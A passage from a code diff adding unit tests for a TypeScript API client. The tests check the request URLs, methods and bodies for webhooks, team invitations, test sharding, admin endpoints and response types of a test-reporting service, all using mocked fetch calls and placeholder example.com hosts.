client.updateWebhook('team-1', 'wh-1', 'https://new.example.com', ['report.submitted']); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.url).toBe('https://new.example.com'); + expect(body.events).toEqual(['report.submitted']); + expect('enabled' in body).toBe(false); + }); + + it('deleteWebhook sends DELETE /api/v1/teams/{teamId}/webhooks/{webhookId}', async () => { + const fetchMock = mockFetchOk({ message: 'webhook deleted' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.deleteWebhook('team-1', 'wh-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks/wh-1`); + expect((init as RequestInit).method).toBe('DELETE'); + }); + + it('listWebhookDeliveries sends GET /api/v1/teams/{teamId}/webhooks/{webhookId}/deliveries', async () => { + const fetchMock = mockFetchOk({ deliveries: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listWebhookDeliveries('team-1', 'wh-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks/wh-1/deliveries`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('listWebhookDeliveries sends before_id query param', async () => { + const fetchMock = mockFetchOk({ deliveries: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listWebhookDeliveries('team-1', 'wh-1', { before_id: 'del-123' }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('before_id=del-123'); + }); + + it('listWebhookDeliveries sends limit query param', async () => { + const fetchMock = mockFetchOk({ deliveries: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listWebhookDeliveries('team-1', 'wh-1', { limit: 5 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=5'); + }); + + it('listWebhookDeliveries sends both before_id and limit query params', async () => { + const fetchMock = mockFetchOk({ deliveries: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listWebhookDeliveries('team-1', 'wh-1', { before_id: 'del-123', limit: 10 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('before_id=del-123'); + expect(url).toContain('limit=10'); + }); + + it('retryWebhookDelivery sends POST to deliveries/{deliveryId}/retry', async () => { + const fetchMock = mockFetchOk({ success: true, status_code: 200, attempt: 2, duration_ms: 150, error: '' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.retryWebhookDelivery('team-1', 'wh-1', 'del-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks/wh-1/deliveries/del-1/retry`); + expect((init as RequestInit).method).toBe('POST'); + expect(result.success).toBe(true); + }); + + it('webhook methods encode teamId and webhookId', async () => { + const fetchMock = mockFetchOk({ webhooks: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listWebhooks('team/special'); + + expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/teams/team%2Fspecial/webhooks`); + }); +}); + +// ── Invitations ────────────────────────────────────────────────────────────── + +describe('invitations', () => { + it('listInvitations sends GET /api/v1/teams/{teamId}/invitations', async () => { + const fetchMock = mockFetchOk({ invitations: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listInvitations('team-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/invitations`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('createInvitation sends POST /api/v1/teams/{teamId}/invitations', async () => { + const fetchMock = mockFetchOk({ invitation: { id: 'inv-1' }, token: 'inv_abc' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.createInvitation('team-1', 'user@example.com', 'maintainer'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/invitations`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body).toEqual({ email: 'user@example.com', role: 'maintainer' }); + expect(result.token).toBe('inv_abc'); + }); + + it('revokeInvitation sends DELETE /api/v1/teams/{teamId}/invitations/{id}', async () => { + const fetchMock = mockFetchOk({ message: 'invitation revoked' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.revokeInvitation('team-1', 'inv-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/invitations/inv-1`); + expect((init as RequestInit).method).toBe('DELETE'); + }); + + it('previewInvitation sends GET /api/v1/invitations/{token}', async () => { + const fetchMock = mockFetchOk({ email: 'test@example.com', role: 'maintainer', team_name: 'Team A', expires_at: '' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.previewInvitation('inv_abc'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/invitations/inv_abc`); + expect((init as RequestInit).method).toBe('GET'); + expect(result.email).toBe('test@example.com'); + }); + + it('previewInvitation encodes special characters in token', async () => { + const fetchMock = mockFetchOk({ email: 'test@example.com', role: 'member', team_name: 'Team', expires_at: '' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.previewInvitation('tok/en'); + + expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/invitations/tok%2Fen`); + }); + + it('acceptInvitation sends POST /api/v1/invitations/{token}/accept', async () => { + const fetchMock = mockFetchOk({ message: 'invitation accepted', user_id: 'u-1', team_id: 't-1', role: 'member' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.acceptInvitation('inv_abc', 'password123', 'Alice'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/invitations/inv_abc/accept`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body).toEqual({ password: 'password123', display_name: 'Alice' }); + expect(result.message).toBe('invitation accepted'); + }); +}); + +// ── Sharding ───────────────────────────────────────────────────────────────── + +describe('sharding', () => { + it('getShardDurations sends GET /api/v1/sharding/durations', async () => { + const fetchMock = mockFetchOk({ durations: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getShardDurations(); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/sharding/durations`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('getShardDurations sends suite query param', async () => { + const fetchMock = mockFetchOk({ durations: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getShardDurations('integration'); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('suite=integration'); + }); + + it('getShardDuration sends GET /api/v1/sharding/durations/{testName}', async () => { + const fetchMock = mockFetchOk([{ test_name: 'Login Test', avg_duration_ms: 1000 }]); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getShardDuration('Login Test'); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toBe(`${BASE}/api/v1/sharding/durations/Login%20Test`); + }); + + it('createShardPlan sends POST /api/v1/sharding/plan', async () => { + const fetchMock = mockFetchOk({ execution_id: 'e-1', shards: [], total_workers: 2 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.createShardPlan({ test_names: ['a', 'b'], num_workers: 2 }); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/sharding/plan`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.test_names).toEqual(['a', 'b']); + expect(body.num_workers).toBe(2); + }); + + it('createShardPlan includes optional fields', async () => { + const fetchMock = mockFetchOk({ execution_id: 'e-1', shards: [], total_workers: 2 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.createShardPlan({ test_names: ['a'], num_workers: 2, strategy: 'duration', execution_id: 'e-1' }); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.strategy).toBe('duration'); + expect(body.execution_id).toBe('e-1'); + }); + + it('rebalanceShards sends POST /api/v1/sharding/rebalance', async () => { + const fetchMock = mockFetchOk({ execution_id: 'e-1', shards: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.rebalanceShards({ execution_id: 'e-1', failed_worker_id: 'w-1', current_plan: { execution_id: 'e-1', total_workers: 2, strategy: 'greedy', shards: [], est_total_ms: 0, est_wall_clock_ms: 0 } }); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/sharding/rebalance`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.execution_id).toBe('e-1'); + expect(body.failed_worker_id).toBe('w-1'); + }); +}); + +// ── Admin ──────────────────────────────────────────────────────────────────── + +describe('admin', () => { + it('listUsers sends GET /api/v1/admin/users', async () => { + const fetchMock = mockFetchOk({ users: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listUsers(); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/admin/users`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('listUsers supports pagination params', async () => { + const fetchMock = mockFetchOk({ users: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listUsers({ limit: 10, offset: 20 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=10'); + expect(url).toContain('offset=20'); + }); + + it('listAuditLog sends GET /api/v1/admin/audit-log', async () => { + const fetchMock = mockFetchOk({ audit_log: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listAuditLog(); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/admin/audit-log`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('listAuditLog sends query params', async () => { + const fetchMock = mockFetchOk({ audit_log: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listAuditLog({ action: 'report.submitted', limit: 10, offset: 5 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('action=report.submitted'); + expect(url).toContain('limit=10'); + expect(url).toContain('offset=5'); + }); +}); + +// ── User profile ───────────────────────────────────────────────────────────── + +describe('user profile', () => { + it('getMe sends GET /api/v1/auth/me', async () => { + const profile = { id: 'u-1', email: 'a@b.com', display_name: 'Alice', role: 'member' }; + const fetchMock = mockFetchOk(profile); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.getMe(); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/auth/me`); expect((init as RequestInit).method).toBe('GET'); expect(result).toEqual(profile); }); @@ -485,7 +1295,8 @@ describe('user profile', () => { const fetchMock = mockFetchOk({ message: 'password changed' }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.changePassword('old-pass', 'new-pass-123'); + const result = await client.changePassword('old-pass', 'new-pass-123'); + expect(result.message).toBe('password changed'); const [url, init] = fetchMock.mock.calls[0]; expect(url).toBe(`${BASE}/api/v1/auth/change-password`); @@ -500,16 +1311,22 @@ describe('user profile', () => { // ── Endpoint alignment with routes.go ──────────────────────────────────────── describe('endpoint alignment with routes.go', () => { - // These tests document the expected URL paths that must match - // internal/server/routes.go route definitions. const routes = [ { method: 'GET', path: '/api/v1/reports' }, { method: 'POST', path: '/api/v1/reports' }, { method: 'GET', path: '/api/v1/reports/{id}' }, { method: 'DELETE', path: '/api/v1/reports/{id}' }, + { method: 'GET', path: '/api/v1/reports/compare' }, + { method: 'GET', path: '/api/v1/reports/{reportID}/triage' }, + { method: 'POST', path: '/api/v1/reports/{reportID}/triage/retry' }, { method: 'GET', path: '/api/v1/executions' }, { method: 'POST', path: '/api/v1/executions' }, + { method: 'GET', path: '/api/v1/executions/{id}' }, { method: 'DELETE', path: '/api/v1/executions/{id}' }, + { method: 'PUT', path: '/api/v1/executions/{id}/status' }, + { method: 'POST', path: '/api/v1/executions/{id}/progress' }, + { method: 'POST', path: '/api/v1/executions/{id}/test-result' }, + { method: 'POST', path: '/api/v1/executions/{id}/worker-status' }, { method: 'GET', path: '/api/v1/analytics/trends' }, { method: 'GET', path: '/api/v1/analytics/flaky-tests' }, { method: 'GET', path: '/api/v1/analytics/error-analysis' }, @@ -523,6 +1340,29 @@ describe('endpoint alignment with routes.go', () => { { method: 'GET', path: '/api/v1/teams/{teamID}/quality-gates/{gateID}/evaluations' }, { method: 'GET', path: '/api/v1/teams' }, { method: 'POST', path: '/api/v1/teams' }, + { method: 'GET', path: '/api/v1/teams/{teamID}' }, + { method: 'DELETE', path: '/api/v1/teams/{teamID}' }, + { method: 'GET', path: '/api/v1/teams/{teamID}/tokens' }, + { method: 'POST', path: '/api/v1/teams/{teamID}/tokens' }, + { method: 'DELETE', path: '/api/v1/teams/{teamID}/tokens/{tokenID}' }, + { method: 'GET', path: '/api/v1/teams/{teamID}/webhooks' }, + { method: 'POST', path: '/api/v1/teams/{teamID}/webhooks' }, + { method: 'GET', path: '/api/v1/teams/{teamID}/webhooks/{webhookID}' }, + { method: 'PUT', path: '/api/v1/teams/{teamID}/webhooks/{webhookID}' }, + { method: 'DELETE', path: '/api/v1/teams/{teamID}/webhooks/{webhookID}' }, + { method: 'GET', path: '/api/v1/teams/{teamID}/webhooks/{webhookID}/deliveries' }, + { method: 'POST', path: '/api/v1/teams/{teamID}/webhooks/{webhookID}/deliveries/{deliveryID}/retry' }, + { method: 'GET', path: '/api/v1/teams/{teamID}/invitations' }, + { method: 'POST', path: '/api/v1/teams/{teamID}/invitations' }, + { method: 'DELETE', path: '/api/v1/teams/{teamID}/invitations/{invitationID}' }, + { method: 'GET', path: '/api/v1/invitations/{token}' }, + { method: 'POST', path: '/api/v1/invitations/{token}/accept' }, + { method: 'POST', path: '/api/v1/sharding/plan' }, + { method: 'POST', path: '/api/v1/sharding/rebalance' }, + { method: 'GET', path: '/api/v1/sharding/durations' }, + { method: 'GET', path: '/api/v1/sharding/durations/{testName}' }, + { method: 'GET', path: '/api/v1/admin/users' }, + { method: 'GET', path: '/api/v1/admin/audit-log' }, { method: 'GET', path: '/api/v1/auth/me' }, { method: 'PATCH', path: '/api/v1/auth/me' }, { method: 'POST', path: '/api/v1/auth/change-password' }, @@ -533,11 +1373,17 @@ describe('endpoint alignment with routes.go', () => { globalThis.fetch = fetchMock; const client = makeClient(); - // Call the corresponding SDK method const resolvedPath = path .replace('{id}', 'test-id') .replace('{teamID}', 'team-1') - .replace('{gateID}', 'gate-1'); + .replace('{gateID}', 'gate-1') + .replace('{webhookID}', 'wh-1') + .replace('{deliveryID}', 'del-1') + .replace('{invitationID}', 'inv-1') + .replace('{token}', 'inv_token') + .replace('{testName}', 'Login%20Test') + .replace('{tokenID}', 'tok-1') + .replace('{reportID}', 'r-1'); switch (`${method} ${path}`) { case 'GET /api/v1/reports': await client.getReports(); break; @@ -550,22 +1396,53 @@ describe('endpoint alignment with routes.go', () => { }); break; case 'GET /api/v1/reports/{id}': await client.getReport('test-id'); break; case 'DELETE /api/v1/reports/{id}': await client.deleteReport('test-id'); break; + case 'GET /api/v1/reports/compare': await client.compareReports('base-id', 'head-id'); break; + case 'GET /api/v1/reports/{reportID}/triage': await client.getReportTriage('r-1'); break; + case 'POST /api/v1/reports/{reportID}/triage/retry': await client.retryReportTriage('r-1'); break; case 'GET /api/v1/executions': await client.getExecutions(); break; case 'POST /api/v1/executions': await client.createExecution('cmd'); break; + case 'GET /api/v1/executions/{id}': await client.getExecution('test-id'); break; case 'DELETE /api/v1/executions/{id}': await client.cancelExecution('test-id'); break; + case 'PUT /api/v1/executions/{id}/status': await client.updateExecutionStatus('test-id', 'running'); break; + case 'POST /api/v1/executions/{id}/progress': await client.reportExecutionProgress('test-id', { passed: 0, failed: 0, skipped: 0, total: 1 }); break; + case 'POST /api/v1/executions/{id}/test-result': await client.reportTestResult('test-id', { name: 't', status: 'passed' }); break; + case 'POST /api/v1/executions/{id}/worker-status': await client.reportWorkerStatus('test-id', { worker_id: 'w-1', status: 'running' }); break; case 'GET /api/v1/analytics/trends': await client.getTrends(); break; case 'GET /api/v1/analytics/flaky-tests': await client.getFlakyTests(); break; case 'GET /api/v1/analytics/error-analysis': await client.getErrorAnalysis(); break; case 'GET /api/v1/analytics/duration-distribution': await client.getDurationDistribution(); break; case 'GET /api/v1/teams/{teamID}/quality-gates': await client.getQualityGates('team-1'); break; - case 'POST /api/v1/teams/{teamID}/quality-gates': await client.createQualityGate('team-1', 'g', []); break; + case 'POST /api/v1/teams/{teamID}/quality-gates': await client.createQualityGate('team-1', 'g', [{ type: 'pass_rate', params: { threshold: 100 } }]); break; case 'GET /api/v1/teams/{teamID}/quality-gates/{gateID}': await client.getQualityGate('team-1', 'gate-1'); break; - case 'PUT /api/v1/teams/{teamID}/quality-gates/{gateID}': await client.updateQualityGate('team-1', 'gate-1', 'g', []); break; + case 'PUT /api/v1/teams/{teamID}/quality-gates/{gateID}': await client.updateQualityGate('team-1', 'gate-1', 'g', [{ type: 'pass_rate', params: { threshold: 100 } }]); break; case 'DELETE /api/v1/teams/{teamID}/quality-gates/{gateID}': await client.deleteQualityGate('team-1', 'gate-1'); break; - case 'POST /api/v1/teams/{teamID}/quality-gates/{gateID}/evaluate': await client.evaluateQualityGate('team-1', 'gate-1'); break; + case 'POST /api/v1/teams/{teamID}/quality-gates/{gateID}/evaluate': await client.evaluateQualityGate('team-1', 'gate-1', 'report-1'); break; case 'GET /api/v1/teams/{teamID}/quality-gates/{gateID}/evaluations': await client.listEvaluations('team-1', 'gate-1'); break; case 'GET /api/v1/teams': await client.getTeams(); break; case 'POST /api/v1/teams': await client.createTeam('t'); break; + case 'GET /api/v1/teams/{teamID}': await client.getTeam('team-1'); break; + case 'DELETE /api/v1/teams/{teamID}': await client.deleteTeam('team-1'); break; + case 'GET /api/v1/teams/{teamID}/tokens': await client.listTokens('team-1'); break; + case 'POST /api/v1/teams/{teamID}/tokens': await client.createToken('team-1', 'ci'); break; + case 'DELETE /api/v1/teams/{teamID}/tokens/{tokenID}': await client.deleteToken('team-1', 'tok-1'); break; + case 'GET /api/v1/teams/{teamID}/webhooks': await client.listWebhooks('team-1'); break; + case 'POST /api/v1/teams/{teamID}/webhooks': await client.createWebhook('team-1', 'https://example.com', ['report.submitted']); break; + case 'GET /api/v1/teams/{teamID}/webhooks/{webhookID}': await client.getWebhook('team-1', 'wh-1'); break; + case 'PUT /api/v1/teams/{teamID}/webhooks/{webhookID}': await client.updateWebhook('team-1', 'wh-1', 'https://example.com', ['report.submitted']); break; + case 'DELETE /api/v1/teams/{teamID}/webhooks/{webhookID}': await client.deleteWebhook('team-1', 'wh-1'); break; + case 'GET /api/v1/teams/{teamID}/webhooks/{webhookID}/deliveries': await client.listWebhookDeliveries('team-1', 'wh-1'); break; + case 'POST /api/v1/teams/{teamID}/webhooks/{webhookID}/deliveries/{deliveryID}/retry': await client.retryWebhookDelivery('team-1', 'wh-1', 'del-1'); break; + case 'GET /api/v1/teams/{teamID}/invitations': await client.listInvitations('team-1'); break; + case 'POST /api/v1/teams/{teamID}/invitations': await client.createInvitation('team-1', 'a@b.com', 'member'); break; + case 'DELETE /api/v1/teams/{teamID}/invitations/{invitationID}': await client.revokeInvitation('team-1', 'inv-1'); break; + case 'GET /api/v1/invitations/{token}': await client.previewInvitation('inv_token'); break; + case 'POST /api/v1/invitations/{token}/accept': await client.acceptInvitation('inv_token', 'pw', 'Alice'); break; + case 'POST /api/v1/sharding/plan': await client.createShardPlan({ test_names: ['a'], num_workers: 2 }); break; + case 'POST /api/v1/sharding/rebalance': await client.rebalanceShards({ execution_id: 'e-1', failed_worker_id: 'w-1', current_plan: { execution_id: 'e-1', total_workers: 2, strategy: 'greedy', shards: [], est_total_ms: 0, est_wall_clock_ms: 0 } }); break; + case 'GET /api/v1/sharding/durations': await client.getShardDurations(); break; + case 'GET /api/v1/sharding/durations/{testName}': await client.getShardDuration('Login Test'); break; + case 'GET /api/v1/admin/users': await client.listUsers(); break; + case 'GET /api/v1/admin/audit-log': await client.listAuditLog(); break; case 'GET /api/v1/auth/me': await client.getMe(); break; case 'PATCH /api/v1/auth/me': await client.updateProfile('Alice'); break; case 'POST /api/v1/auth/change-password': await client.changePassword('old', 'newpass1'); break; @@ -573,7 +1450,619 @@ describe('endpoint alignment with routes.go', () => { const calledUrl = fetchMock.mock.calls[0][0] as string; const calledMethod = (fetchMock.mock.calls[0][1] as RequestInit).method; - expect(calledUrl).toBe(`${BASE}${resolvedPath}`); + // Strip query parameters for comparison since some routes have params + const calledUrlWithoutQuery = calledUrl.split('?')[0]; + expect(calledUrlWithoutQuery).toBe(`${BASE}${resolvedPath}`); expect(calledMethod).toBe(method); }); }); + +// ── Type alignment with server ─────────────────────────────────────────────── + +describe('type alignment with server responses', () => { + it('Shard uses test_names (not tests) and includes test_count', () => { + const shard: Shard = { + worker_id: 'w-1', + test_names: ['test-a', 'test-b'], + est_duration_ms: 5000, + test_count: 2, + }; + expect(shard.test_names).toEqual(['test-a', 'test-b']); + expect(shard.test_count).toBe(2); + }); + + it('QualityGateEvaluation uses details field (matching listEvaluations) with created_at required', () => { + const evalResult: QualityGateEvaluation = { + id: 'eval-1', + gate_id: 'qg-1', + report_id: 'r-1', + passed: true, + details: [], + created_at: '2024-01-01T00:00:00Z', + }; + expect(evalResult.details).toEqual([]); + expect(evalResult.created_at).toBe('2024-01-01T00:00:00Z'); + }); + + it('TestDurationHistory has id, min/max, last_status, timestamps (no median_duration_ms)', () => { + const history: TestDurationHistory = { + id: 'dur-1', + test_name: 'Login Test', + suite: 'auth', + team_id: 'team-1', + avg_duration_ms: 1200, + min_duration_ms: 800, + max_duration_ms: 2000, + p95_duration_ms: 1800, + run_count: 50, + last_status: 'passed', + updated_at: '2024-01-15T10:00:00Z', + created_at: '2024-01-01T00:00:00Z', + }; + expect(history.id).toBe('dur-1'); + expect(history.min_duration_ms).toBe(800); + expect(history.max_duration_ms).toBe(2000); + expect(history.last_status).toBe('passed'); + expect(history.updated_at).toBeDefined(); + expect(history.created_at).toBeDefined(); + }); + + it('AuditLog has optional team_id, team_name, resource_type, resource_id', () => { + const minimalEntry: AuditLog = { + id: 'log-1', + actor_id: 'u-1', + actor_email: 'a@b.com', + action: 'report.upload', + created_at: '2024-01-01T00:00:00Z', + }; + expect(minimalEntry.team_id).toBeUndefined(); + expect(minimalEntry.team_name).toBeUndefined(); + expect(minimalEntry.resource_type).toBeUndefined(); + expect(minimalEntry.resource_id).toBeUndefined(); + + const fullEntry: AuditLog = { + id: 'log-2', + actor_id: 'u-1', + actor_email: 'a@b.com', + team_id: 'team-1', + team_name: 'My Team', + action: 'report.upload', + resource_type: 'report', + resource_id: 'r-1', + created_at: '2024-01-01T00:00:00Z', + }; + expect(fullEntry.team_id).toBe('team-1'); + expect(fullEntry.team_name).toBe('My Team'); + }); + + it('WebhookDelivery uses delivered_at (not created_at), optional error and payload', () => { + const delivery: WebhookDelivery = { + id: 'del-1', + webhook_id: 'wh-1', + url: 'https://example.com/hook', + event_type: 'report.submitted', + attempt: 1, + status_code: 200, + duration_ms: 150, + delivered_at: '2024-01-01T00:00:00Z', + }; + expect(delivery.delivered_at).toBeDefined(); + expect(delivery.error).toBeUndefined(); + expect(delivery.payload).toBeUndefined(); + + const deliveryWithError: WebhookDelivery = { + id: 'del-2', + webhook_id: 'wh-1', + url: 'https://example.com/hook', + event_type: 'report.submitted', + attempt: 2, + status_code: 500, + duration_ms: 300, + error: 'connection refused', + payload: { event: 'report.submitted', data: { id: 'r-1' } }, + delivered_at: '2024-01-01T00:00:00Z', + }; + expect(deliveryWithError.error).toBe('connection refused'); + expect(deliveryWithError.payload).toBeDefined(); + }); + + it('getErrorAnalysis returns typed ErrorCluster response', async () => { + const errorCluster: ErrorCluster = { + message: 'TypeError: Cannot read property', + count: 5, + test_names: ['test-a', 'test-b'], + first_seen: '2024-01-01T00:00:00Z', + last_seen: '2024-01-15T00:00:00Z', + }; + const fetchMock = mockFetchOk({ errors: [errorCluster] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.getErrorAnalysis(); + + expect(result.errors).toHaveLength(1); + expect(result.errors[0].message).toBe('TypeError: Cannot read property'); + expect(result.errors[0].test_names).toEqual(['test-a', 'test-b']); + }); + + it('getDurationDistribution returns typed DurationBucket response', async () => { + const bucket: DurationBucket = { + range: '0-100ms', + min_ms: 0, + max_ms: 100, + count: 42, + }; + const fetchMock = mockFetchOk({ distribution: [bucket] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.getDurationDistribution(); + + expect(result.distribution).toHaveLength(1); + expect(result.distribution[0].range).toBe('0-100ms'); + expect(result.distribution[0].count).toBe(42); + }); + + it('Invitation.accepted_at is optional, not string | null (server omits when nil)', () => { + const pending: Invitation = { + id: 'inv-1', + team_id: 'team-1', + email: 'a@b.com', + role: 'member', + invited_by: 'u-1', + expires_at: '2024-12-31T23:59:59Z', + created_at: '2024-01-01T00:00:00Z', + }; + expect(pending.accepted_at).toBeUndefined(); + + const accepted: Invitation = { + id: 'inv-2', + team_id: 'team-1', + email: 'c@d.com', + role: 'maintainer', + invited_by: 'u-1', + accepted_at: '2024-01-02T10:00:00Z', + expires_at: '2024-12-31T23:59:59Z', + created_at: '2024-01-01T00:00:00Z', + }; + expect(accepted.accepted_at).toBe('2024-01-02T10:00:00Z'); + }); + + it('TeamToken includes team_id, user_id, and optional last_used_at', () => { + const token: TeamToken = { + id: 'tok-1', + team_id: 'team-1', + user_id: 'u-1', + name: 'ci-token', + prefix: 'sct_', + created_at: '2024-01-01T00:00:00Z', + }; + expect(token.team_id).toBe('team-1'); + expect(token.user_id).toBe('u-1'); + expect(token.last_used_at).toBeUndefined(); + + const usedToken: TeamToken = { + id: 'tok-2', + team_id: 'team-1', + user_id: 'u-2', + name: 'api-token', + prefix: 'sct_', + last_used_at: '2024-06-01T12:00:00Z', + created_at: '2024-01-01T00:00:00Z', + }; + expect(usedToken.last_used_at).toBe('2024-06-01T12:00:00Z'); + }); + + it('AdminUser includes updated_at (always present from server)', () => { + const user: AdminUser = { + id: 'u-1', + email: 'a@b.com', + display_name: 'Alice', + role: 'owner', + created_at: '2024-01-01T00:00:00Z', + updated_at: '2024-06-15T10:00:00Z', + }; + expect(user.updated_at).toBe('2024-06-15T10:00:00Z'); + }); + + it('getTrends returns wrapped response with trends key', async () => { + const trendPoint: TrendPoint = { + date: '2024-01-15', + total: 100, + passed: 90, + failed: 5, + skipped: 5, + pass_rate: 0.9, + }; + const fetchMock = mockFetchOk({ trends: [trendPoint] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.getTrends(); + + expect(result.trends).toHaveLength(1); + expect(result.trends[0].date).toBe('2024-01-15'); + expect(result.trends[0].skipped).toBe(5); + }); + + it('getFlakyTests returns wrapped response with flaky_tests key', async () => { + const flaky: FlakyTest = { + name: 'Login Test', + flip_count: 3, + total_runs: 10, + flip_rate: 0.333, + last_status: 'failed', + }; + const fetchMock = mockFetchOk({ flaky_tests: [flaky] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.getFlakyTests(); + + expect(result.flaky_tests).toHaveLength(1); + expect(result.flaky_tests[0].flip_count).toBe(3); + expect(result.flaky_tests[0].total_runs).toBe(10); + expect(result.flaky_tests[0].flip_rate).toBe(0.333); + expect(result.flaky_tests[0].last_status).toBe('failed'); + }); + + it('FlakyTest has flip_rate (not flake_rate), flip_count (not occurrences), total_runs, file_path, last_status', () => { + const minimal: FlakyTest = { + name: 'test-a', + flip_count: 2, + total_runs: 10, + flip_rate: 0.2, + last_status: 'passed', + }; + expect(minimal.flip_count).toBe(2); + expect(minimal.total_runs).toBe(10); + expect(minimal.flip_rate).toBe(0.2); + expect(minimal.last_status).toBe('passed'); + expect(minimal.file_path).toBeUndefined(); + + const full: FlakyTest = { + name: 'test-b', + suite: 'auth', + file_path: 'src/auth.test.ts', + flip_count: 5, + total_runs: 20, + flip_rate: 0.25, + last_status: 'failed', + }; + expect(full.file_path).toBe('src/auth.test.ts'); + }); + + it('TrendPoint includes skipped field', () => { + const point: TrendPoint = { + date: '2024-01-15', + total: 100, + passed: 90, + failed: 5, + skipped: 5, + pass_rate: 0.9, + }; + expect(point.skipped).toBe(5); + }); + + it('QualityGateEvaluation.details uses QualityGateEvalRuleResult with type field', () => { + const evalResult: QualityGateEvaluation = { + id: 'eval-1', + gate_id: 'qg-1', + report_id: 'r-1', + passed: true, + details: [{ type: 'pass_rate', passed: true, threshold: 95, actual: 98, message: 'pass rate 98% >= 95%' }], + created_at: '2024-01-01T00:00:00Z', + }; + expect(evalResult.details[0].type).toBe('pass_rate'); + expect(evalResult.details[0].passed).toBe(true); + }); + + it('QualityGateRuleResult uses metric field (for evaluate endpoint)', () => { + const rule: QualityGateRuleResult = { + metric: 'pass_rate', + threshold: 95, + actual: 98, + passed: true, + message: 'pass rate 98% >= 95%', + }; + expect(rule.metric).toBe('pass_rate'); + }); + + it('EvaluateQualityGateResponse uses rules (not details) and has no created_at', () => { + const response: EvaluateQualityGateResponse = { + id: 'eval-1', + gate_id: 'qg-1', + report_id: 'r-1', + passed: true, + rules: [{ metric: 'pass_rate', threshold: 95, actual: 98, passed: true, message: 'pass rate ok' }], + }; + expect(response.rules).toHaveLength(1); + expect(response.rules[0].metric).toBe('pass_rate'); + }); + + it('Execution has config, report_id, k8s fields, error_msg, updated_at', () => { + const full: Execution = { + id: 'e-1', + team_id: 'team-1', + command: 'npm test', + status: 'running', + config: { image: 'node:18', env_vars: { NODE_ENV: 'test' } }, + report_id: 'r-1', + k8s_job_name: 'test-job-123', + k8s_pod_name: 'test-pod-456', + error_msg: 'something failed', + created_at: '2024-01-01T00:00:00Z', + 